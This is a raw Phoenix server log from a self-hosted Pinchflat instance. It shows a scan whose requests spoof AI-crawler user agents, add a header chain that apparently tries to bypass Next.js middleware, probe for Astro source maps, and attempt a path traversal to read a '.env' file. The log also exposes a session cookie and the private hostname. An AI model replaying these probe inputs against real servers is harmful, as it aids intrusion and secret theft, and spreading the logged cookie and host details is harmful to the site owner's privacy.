"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: (truncated) 16:49:08.675 [info] GET /pages/index.astro.mjs.map 16:49:08.675 [debug] QUERY OK source="settings" db=0.1ms idle=91.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.675 [debug] QUERY OK source="settings" db=0.0ms idle=83.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.676 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.676 [error] #PID<0.29755.0> running PinchflatWeb.Endpoint (connection #PID<0.29754.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /pages/index.astro.mjs.map ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pages/index.astro.mjs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29754.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pages/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34308}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29755.0>, params: %{}, path_info: ["pages", "index.astro.mjs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/pages/index.astro.mjs.map", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61feXRvITYuYABwUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29754.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pages/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34308}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pages/index.astro.mjs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29754.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pages/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34308}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:08.706 [info] GET /_astro/pages/index.astro.mjs.map 16:49:08.706 [debug] QUERY OK source="settings" db=0.0ms idle=114.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.706 [debug] QUERY OK source="settings" db=0.0ms idle=103.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.706 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.706 [error] #PID<0.29757.0> running PinchflatWeb.Endpoint (connection #PID<0.29756.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_astro/pages/index.astro.mjs.map ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_astro/pages/index.astro.mjs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29756.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_astro/pages/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34318}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29757.0>, params: %{}, path_info: ["_astro", "pages", "index.astro.mjs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/_astro/pages/index.astro.mjs.map", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61flvexM8SusAAIBj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29756.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_astro/pages/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34318}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_astro/pages/index.astro.mjs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29756.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_astro/pages/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34318}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:08.713 [info] GET /pages/api/index.astro.mjs.map 16:49:08.713 [debug] QUERY OK source="settings" db=0.0ms idle=109.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.713 [debug] QUERY OK source="settings" db=0.0ms idle=37.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.713 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.714 [error] #PID<0.29759.0> running PinchflatWeb.Endpoint (connection #PID<0.29758.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /pages/api/index.astro.mjs.map ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pages/api/index.astro.mjs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29758.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pages/api/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34328}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29759.0>, params: %{}, path_info: ["pages", "api", "index.astro.mjs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/pages/api/index.astro.mjs.map", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61fnbb9gXUsUABwUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29758.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pages/api/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34328}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pages/api/index.astro.mjs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29758.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pages/api/index.astro.mjs.map", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34328}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:08.736 [info] GET /_image 16:49:08.736 [debug] QUERY OK source="settings" db=0.0ms idle=60.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.736 [debug] QUERY OK source="settings" db=0.0ms idle=29.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.736 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.736 [error] #PID<0.29761.0> running PinchflatWeb.Endpoint (connection #PID<0.29760.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_image?href=/../../../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_image (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29760.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_image", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34338}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "href=/../../../.env", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29761.0>, params: %{"href" => "/../../../.env"}, path_info: ["_image"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"href" => "/../../../.env"}, query_string: "href=/../../../.env", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => 